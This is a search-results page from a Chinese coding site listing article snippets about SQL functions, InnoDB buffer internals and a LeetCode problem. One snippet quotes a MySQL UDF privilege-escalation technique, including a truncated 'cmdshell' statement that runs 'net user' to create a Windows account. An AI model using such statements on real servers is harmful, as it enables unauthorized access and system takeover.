码迷,mamicode.com
首页 >  
搜索关键字:returns    ( 2350个结果
函数buf_page_hash_get_low
/******************************************************************//**Returns the control block of a file page, NULL if not found.@return block, N...
分类:其他好文   时间:2015-11-25 21:49:33    阅读次数:277
sqlserver去掉字符串结尾的全角空格
CREATE FUNCTION F_Covert( @str nvarchar(4000) ) returns nvarchar(4000) as begin declare @endp int,@endflag int,@length int,@i int ,@reversestr nvarc.....
分类:数据库   时间:2015-11-24 17:25:37    阅读次数:292
函数buf_LRU_get_free_only
/******************************************************************//**Returns a free block from the buf_pool. The block is taken off thefree list. .....
分类:其他好文   时间:2015-11-24 00:59:29    阅读次数:283
函数buf_LRU_get_free_block
/******************************************************************//**Returns a free block from the buf_pool. The block is taken off thefree list. If...
分类:其他好文   时间:2015-11-24 00:55:03    阅读次数:510
条件不同时统计数目
user表:user表查询男生,女生数量和总人数:1)创建函数:DELIMITER $$CREATE FUNCTION getCount (s VARCHAR(1)) RETURNS INT (6)BEGIN RETURN ( SELECT count(1)...
分类:其他好文   时间:2015-11-22 20:15:53    阅读次数:95
SQL 分隔字符串
ALTER FUNCTION dbo.fn_Split( @Expression VARCHAR(8000), @Delimiter VARCHAR(10))RETURNS @table_Value TABLE( SortNo INT IDENTITY(1,...
分类:数据库   时间:2015-11-18 14:21:47    阅读次数:152
leetcode Number of 1 Bits
Write a function that takes an unsigned integer and returns the number of ’1' bits it has (also known as the Hamming weight).For example, the 32-bit i...
分类:其他好文   时间:2015-11-16 10:47:41    阅读次数:128
--如何将一个字符串中的所有非数字(0-9及小数点)字符全部除去
--如何将一个字符串中的所有非数字(0-9及小数点)字符全部除去create function clear_num (@s nvarchar(100))--创建自定义函数returns nvarchar(100)asbegin while PATINDEX('%[^0-9.]%',@s)>=1 .....
分类:其他好文   时间:2015-11-12 17:30:22    阅读次数:198
转载:windows的mysql提权方式
mysql提权语句归纳如下:一 UDF提权这类提权方法我想大家已经知道了,我大致写一下,具体语句如下: create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user 123!@....
分类:数据库   时间:2015-11-12 09:52:06    阅读次数:282
SQL 自定义四舍五入
ALTER FUNCTION [dbo].[fn_MyRound](@val DECIMAL(20,10),@len INT=2,@myindex int=4)RETURNS floatASBEGINwhile @myindex>@lenBEGINset @myindex=@myindex-1set...
分类:数据库   时间:2015-11-11 23:47:34    阅读次数:160
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!